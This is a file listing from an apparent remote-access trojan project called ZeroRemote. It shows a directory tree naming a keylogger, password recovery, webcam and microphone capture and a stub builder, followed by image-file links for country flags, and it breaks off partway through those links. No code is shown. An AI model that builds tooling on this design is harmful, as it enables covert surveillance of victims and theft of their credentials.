├── Client └── Client │ ├── Client │ ├── icon.ico │ ├── CPQLDKm.ico │ ├── Untitled.ico │ ├── Resources │ │ ├── ad.png │ │ ├── ae.png │ │ ├── af.png │ │ ├── ag.png │ │ ├── ai.png │ │ ├── al.png │ │ ├── am.png │ │ ├── an.png │ │ ├── ao.png │ │ ├── ar.png │ │ ├── as.png │ │ ├── at.png │ │ ├── au.png │ │ ├── aw.png │ │ ├── ax.png │ │ ├── az.png │ │ ├── ba.png │ │ ├── bb.png │ │ ├── bd.png │ │ ├── be.png │ │ ├── bf.png │ │ ├── bg.png │ │ ├── bh.png │ │ ├── bi.png │ │ ├── bj.png │ │ ├── bm.png │ │ ├── bn.png │ │ ├── bo.png │ │ ├── br.png │ │ ├── bs.png │ │ ├── bt.png │ │ ├── bv.png │ │ ├── bw.png │ │ ├── by.png │ │ ├── bz.png │ │ ├── ca.png │ │ ├── cc.png │ │ ├── cd.png │ │ ├── cf.png │ │ ├── cg.png │ │ ├── ch.png │ │ ├── ci.png │ │ ├── ck.png │ │ ├── cl.png │ │ ├── cm.png │ │ ├── cn.png │ │ ├── co.png │ │ ├── cr.png │ │ ├── cs.png │ │ ├── cu.png │ │ ├── cv.png │ │ ├── cx.png │ │ ├── cy.png │ │ ├── cz.png │ │ ├── de.png │ │ ├── dj.png │ │ ├── dk.png │ │ ├── dm.png │ │ ├── do.png │ │ ├── dz.png │ │ ├── ec.png │ │ ├── ee.png │ │ ├── eg.png │ │ ├── eh.png │ │ ├── er.png │ │ ├── es.png │ │ ├── et.png │ │ ├── fam.png │ │ ├── fi.png │ │ ├── fj.png │ │ ├── fk.png │ │ ├── fm.png │ │ ├── fo.png │ │ ├── fr.png │ │ ├── ga.png │ │ ├── gb.png │ │ ├── gd.png │ │ ├── ge.png │ │ ├── gf.png │ │ ├── gh.png │ │ ├── gi.png │ │ ├── gl.png │ │ ├── gm.png │ │ ├── gn.png │ │ ├── gp.png │ │ ├── gq.png │ │ ├── gr.png │ │ ├── gs.png │ │ ├── gt.png │ │ ├── gu.png │ │ ├── gw.png │ │ ├── gy.png │ │ ├── hk.png │ │ ├── hm.png │ │ ├── hn.png │ │ ├── hr.png │ │ ├── ht.png │ │ ├── hu.png │ │ ├── id.png │ │ ├── ie.png │ │ ├── il.png │ │ ├── in.png │ │ ├── io.png │ │ ├── iq.png │ │ ├── ir.png │ │ ├── is.png │ │ ├── it.png │ │ ├── jm.png │ │ ├── jo.png │ │ ├── jp.png │ │ ├── ke.png │ │ ├── kg.png │ │ ├── kh.png │ │ ├── ki.png │ │ ├── km.png │ │ ├── kn.png │ │ ├── kp.png │ │ ├── kr.png │ │ ├── kw.png │ │ ├── ky.png │ │ ├── kz.png │ │ ├── la.png │ │ ├── lb.png │ │ ├── lc.png │ │ ├── li.png │ │ ├── lk.png │ │ ├── lr.png │ │ ├── ls.png │ │ ├── lt.png │ │ ├── lu.png │ │ ├── lv.png │ │ ├── ly.png │ │ ├── ma.png │ │ ├── mc.png │ │ ├── md.png │ │ ├── me.png │ │ ├── mg.png │ │ ├── mh.png │ │ ├── mk.png │ │ ├── ml.png │ │ ├── mm.png │ │ ├── mn.png │ │ ├── mo.png │ │ ├── mp.png │ │ ├── mq.png │ │ ├── mr.png │ │ ├── ms.png │ │ ├── mt.png │ │ ├── mu.png │ │ ├── mv.png │ │ ├── mw.png │ │ ├── mx.png │ │ ├── my.png │ │ ├── mz.png │ │ ├── na.png │ │ ├── nc.png │ │ ├── ne.png │ │ ├── nf.png │ │ ├── ng.png │ │ ├── ni.png │ │ ├── nl.png │ │ ├── no.png │ │ ├── np.png │ │ ├── nr.png │ │ ├── nu.png │ │ ├── nz.png │ │ ├── om.png │ │ ├── pa.png │ │ ├── pe.png │ │ ├── pf.png │ │ ├── pg.png │ │ ├── ph.png │ │ ├── pk.png │ │ ├── pl.png │ │ ├── pm.png │ │ ├── pn.png │ │ ├── pr.png │ │ ├── ps.png │ │ ├── pt.png │ │ ├── pw.png │ │ ├── py.png │ │ ├── qa.png │ │ ├── re.png │ │ ├── ro.png │ │ ├── rs.png │ │ ├── ru.png │ │ ├── rw.png │ │ ├── sa.png │ │ ├── sb.png │ │ ├── sc.png │ │ ├── sd.png │ │ ├── se.png │ │ ├── sg.png │ │ ├── sh.png │ │ ├── si.png │ │ ├── sj.png │ │ ├── sk.png │ │ ├── sl.png │ │ ├── sm.png │ │ ├── sn.png │ │ ├── so.png │ │ ├── sr.png │ │ ├── st.png │ │ ├── sv.png │ │ ├── sy.png │ │ ├── sz.png │ │ ├── tc.png │ │ ├── td.png │ │ ├── tf.png │ │ ├── tg.png │ │ ├── th.png │ │ ├── tj.png │ │ ├── tk.png │ │ ├── tl.png │ │ ├── tm.png │ │ ├── tn.png │ │ ├── to.png │ │ ├── tr.png │ │ ├── tt.png │ │ ├── tv.png │ │ ├── tw.png │ │ ├── tz.png │ │ ├── ua.png │ │ ├── ug.png │ │ ├── um.png │ │ ├── up.png │ │ ├── us.png │ │ ├── uy.png │ │ ├── uz.png │ │ ├── va.png │ │ ├── vc.png │ │ ├── ve.png │ │ ├── vg.png │ │ ├── vi.png │ │ ├── vn.png │ │ ├── vu.png │ │ ├── wf.png │ │ ├── ws.png │ │ ├── ye.png │ │ ├── yt.png │ │ ├── za.png │ │ ├── zm.png │ │ ├── zw.png │ │ ├── down.png │ │ ├── globe.png │ │ ├── wait.gif │ │ ├── wales.png │ │ ├── default.png │ │ ├── england.png │ │ ├── notify.wav │ │ ├── scotland.png │ │ ├── servers.png │ │ ├── catalonia.png │ │ ├── exclamation.png │ │ ├── information.png │ │ └── main.php │ ├── My Project │ │ ├── Settings.settings │ │ ├── Application.myapp │ │ ├── AssemblyInfo.vb │ │ ├── Application.Designer.vb │ │ └── Settings.Designer.vb │ ├── SeperatorControl.vb │ ├── ProcessmanagerModules.vb │ ├── RegistrymanagerModifyValue.vb │ ├── RegistrymanagerCreateValue.vb │ ├── ProcessmanagerStartProcess.vb │ ├── WindowmanagerTitleChanger.vb │ ├── app.config │ ├── Clipboard.vb │ ├── FilemanagerRenameFolder.vb │ ├── Win32.vb │ ├── Downloadmanager.vb │ ├── FilemanagerFileinfo.vb │ ├── ApplicationSettings.vb │ ├── Softwaremanager.vb │ ├── Serverinformation.vb │ ├── Systeminformation.vb │ ├── Keylogger.vb │ ├── BuilderAdvancedSettings.vb │ ├── FilemanagerRenameFile.vb │ ├── Networkviewer.vb │ ├── BuilderQuerySpeed.vb │ ├── FilemanagerCreateFolder.vb │ ├── NotificationGlobalMessage.vb │ ├── Notification.vb │ ├── Microphone.vb │ ├── BuilderAssemblyInformation.vb │ ├── MessageBoxManager.vb │ ├── PasswordRecovery.vb │ ├── Clipboard.Designer.vb │ ├── IconComboBox.vb │ ├── NotificationGlobalMessage.Designer.vb │ ├── Waiting.Designer.vb │ ├── Webcamviewer.vb │ ├── ProcessmanagerModules.Designer.vb │ ├── FilemanagerCreateFolder.Designer.vb │ ├── ProcessmanagerStartProcess.Designer.vb │ ├── RegistrymanagerCreateValue.Designer.vb │ ├── Processmanager.vb │ ├── FilemanagerRenameFile.Designer.vb │ ├── Servicemanager.vb │ └── RegistrymanagerModifyValue.Designer.vb │ └── Client.sln ├── Server ├── Server │ ├── My Project │ │ ├── Settings.settings │ │ ├── Application.Designer.vb │ │ ├── Application.myapp │ │ ├── AssemblyInfo.vb │ │ ├── app.manifest │ │ ├── Resources.Designer.vb │ │ └── Settings.Designer.vb │ ├── SecureStrings.vb │ ├── app.config │ └── Webcam.vb └── Server.sln └── PHP Files └── main.php /Client/Client/Client/icon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/icon.ico -------------------------------------------------------------------------------- /Client/Client/Client/CPQLDKm.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/CPQLDKm.ico -------------------------------------------------------------------------------- /Client/Client/Client/Untitled.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Untitled.ico -------------------------------------------------------------------------------- /Client/Client/Client/Resources/ad.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ad.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/ae.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ae.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/af.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/af.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/ag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ag.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/ai.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ai.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/al.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/al.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/am.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/am.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/an.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/an.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/ao.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ao.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/ar.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ar.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/as.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/as.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/at.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/at.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/au.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/au.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/aw.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/aw.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/ax.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ax.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/az.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/az.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/ba.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ba.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/bb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/bb.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/bd.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/bd.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/be.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/be.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/bf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/bf.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/bg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/bg.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/bh.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/bh.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/bi.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/bi.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/bj.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/bj.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/bm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/bm.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/bn.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/bn.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/bo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/bo.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/br.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/br.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/bs.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/bs.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/bt.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/bt.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/bv.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/bv.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/bw.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/bw.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/by.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/by.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/bz.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/bz.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/ca.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ca.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/cc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/cc.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/cd.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/cd.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/cf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/cf.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/cg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/cg.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/ch.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ch.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/ci.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ci.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/ck.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ck.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/cl.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/cl.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/cm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/cm.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/cn.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/cn.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/co.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/co.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/cr.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/cr.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/cs.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/cs.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/cu.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/cu.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/cv.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/cv.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/cx.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/cx.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/cy.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/cy.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/cz.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/cz.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/de.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/de.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/dj.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/dj.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/dk.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/dk.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/dm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/dm.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/do.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/do.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/dz.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/dz.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/ec.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ec.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/ee.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ee.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/eg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/eg.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/eh.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/eh.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/er.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/er.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/es.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/es.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/et.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/et.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/fam.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/fam.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/fi.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/fi.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/fj.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/fj.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/fk.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/fk.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/fm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/fm.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/fo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/fo.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/fr.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/fr.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/ga.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ga.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/gb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/gb.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/gd.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/gd.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/ge.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ge.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/gf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/gf.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/gh.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/gh.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/gi.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/gi.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/gl.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/gl.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/gm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/gm.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/gn.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/gn.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/gp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/gp.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/gq.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/gq.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/gr.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/gr.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/gs.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/gs.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/gt.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/gt.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/gu.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/gu.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/gw.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/gw.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/gy.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/gy.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/hk.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/hk.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/hm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/hm.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/hn.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/hn.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/hr.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/hr.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/ht.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ht.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/hu.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/hu.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/id.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/id.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/ie.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ie.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/il.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/il.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/in.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/in.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/io.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/io.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/iq.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/iq.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/ir.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ir.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/is.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/is.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/it.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/it.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/jm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/jm.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/jo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/jo.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/jp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/jp.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/ke.png: -------------------------------------------------------------------------------- 